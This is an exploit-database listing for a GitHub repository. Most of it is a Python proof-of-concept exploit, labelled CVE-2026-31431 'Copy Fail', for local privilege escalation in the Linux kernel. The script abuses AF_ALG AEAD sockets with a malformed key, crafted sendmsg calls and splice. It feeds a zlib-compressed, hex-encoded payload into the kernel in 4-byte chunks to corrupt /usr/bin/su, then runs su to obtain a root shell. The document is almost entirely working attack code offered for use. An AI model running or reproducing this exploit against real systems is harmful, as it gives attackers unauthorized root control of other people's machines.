Exploit database

GH-0f9ebce3c5ffa4385e79bff786e5fe11

eynaexp/copy-fail-cve-2026-31431-modernized

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
eynaexp/copy-fail-cve-2026-31431-modernizedRevision 971fec3119f6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Poc.py

Python · 4,682 bytes
#!/usr/bin/env python3
"""
AF_ALG AEAD privilege escalation exploit (CVE-XXXX-XXXX)
---------------------------------------------------------
Trigger: Malformed key + crafted sendmsg on af_alg socket
Target: Linux kernel (af_alg / crypto subsystem)
Result: Root shell via 'su'
"""

import os
import zlib
import socket

# ----------------------------------------------------------------------
# Helper: hex string -> bytes
# ----------------------------------------------------------------------
def hex_decode(s):
    return bytes.fromhex(s)

# ----------------------------------------------------------------------
# Kernel constants (af_alg)
# ----------------------------------------------------------------------
AF_ALG      = 38            # socket domain
SOCK_SEQPACKET = 5
SOL_ALG     = 279           # setsockopt level for alg sockets

# Setsockopt commands
ALG_SET_KEY         = 1     # set cipher key
ALG_SET_OP          = 2     # set operation (encrypt/decrypt)
ALG_SET_IV          = 3     # set IV
ALG_SET_AEAD_ASSOCLEN = 4   # for AEAD: associated data length
ALG_SET_AEAD_AUTHSIZE = 5   # for AEAD: authentication tag size

# ----------------------------------------------------------------------
# Core exploit trigger – corrupts kernel via AF_ALG operations
# ----------------------------------------------------------------------
def trigger_corruption(fd, offset, chunk):
    """
    fd    : file descriptor of /usr/bin/su (opened for reading)
    offset: current offset into the payload
    chunk : 4-byte slice of the compressed trigger payload
    """

    # Create AF_ALG socket for AEAD
    alg_sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
    # Bind to "authenc(hmac(sha256),cbc(aes))"
    alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    # Set the exploit key (72 bytes = 1+1+6+64 zeros – actual structure)
    fake_key = hex_decode('0800010000000010' + '0' * 64)
    alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, fake_key)

    # Set authsize to 4 via ALG_SET_AEAD_AUTHSIZE with a NULL pointer
    alg_sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

    # Accept new operation socket
    op_sock, _ = alg_sock.accept()

    # Prepare per-operation ancillary data
    null_byte  = hex_decode('00')    # b'\x00'
    iv         = null_byte * 4       # 4-byte IV
    op_type    = b'\x10' + null_byte * 19  # operation type + padding
    assoclen   = b'\x08' + null_byte * 3   # associated data length

    # Construct message: 4 'A's + chunk
    msg_data = b"A" * 4 + chunk
    total_len = offset + 4   # ?

    # Anciliary messages (control data)
    ancillary = [
        (SOL_ALG, ALG_SET_IV,           iv),
        (SOL_ALG, ALG_SET_OP,           op_type),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, assoclen),
    ]

    # Send crafted message (triggers internal corruption)
    op_sock.sendmsg([msg_data], ancillary, socket.MSG_MORE)

    # Splice file data into kernel alg processing
    r_fd, w_fd = os.pipe()
    os.splice(fd, w_fd, total_len, offset_src=0)
    os.splice(r_fd, op_sock.fileno(), total_len)

    # Attempt to receive data (kernel bug may crash/succeed)
    try:
        op_sock.recv(8 + offset)
    except:
        pass

    # Cleanup
    op_sock.close()
    alg_sock.close()

# ----------------------------------------------------------------------
# Main entry point
# ----------------------------------------------------------------------
def main():
    print("=" * 60)
    print("     CVE-2026-31431 Copy Fail Privilege Escalation POC - Eyna")
    print("=" * 60)
    print()

    # Open target binary (will be fed through crypto ops)
    print("[*] Opening /usr/bin/su ...")
    su_fd = os.open("/usr/bin/su", os.O_RDONLY)

    # Decompress embedded trigger payload
    payload_hex = (
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a"
        "154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56"
        "c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
    print("[*] Decompressing exploit trigger ...")
    payload = zlib.decompress(hex_decode(payload_hex))

    # Trigger corruption chunk by chunk
    num_chunks = len(payload) // 4
    print(f"[*] Feeding {num_chunks} chunks to the crypto subsystem ...")
    for idx in range(0, len(payload), 4):
        chunk = payload[idx:idx+4]
        print(f"    Sending chunk {idx//4 + 1}/{num_chunks}", end='\r')
        trigger_corruption(su_fd, idx, chunk)
    print("\n[*] All chunks sent.")
    print("[*] Corruption complete. Attempting to spawn root shell...")
    print()

    # If successful, the process should have elevated privileges
    os.system("su")

if __name__ == "__main__":
    main()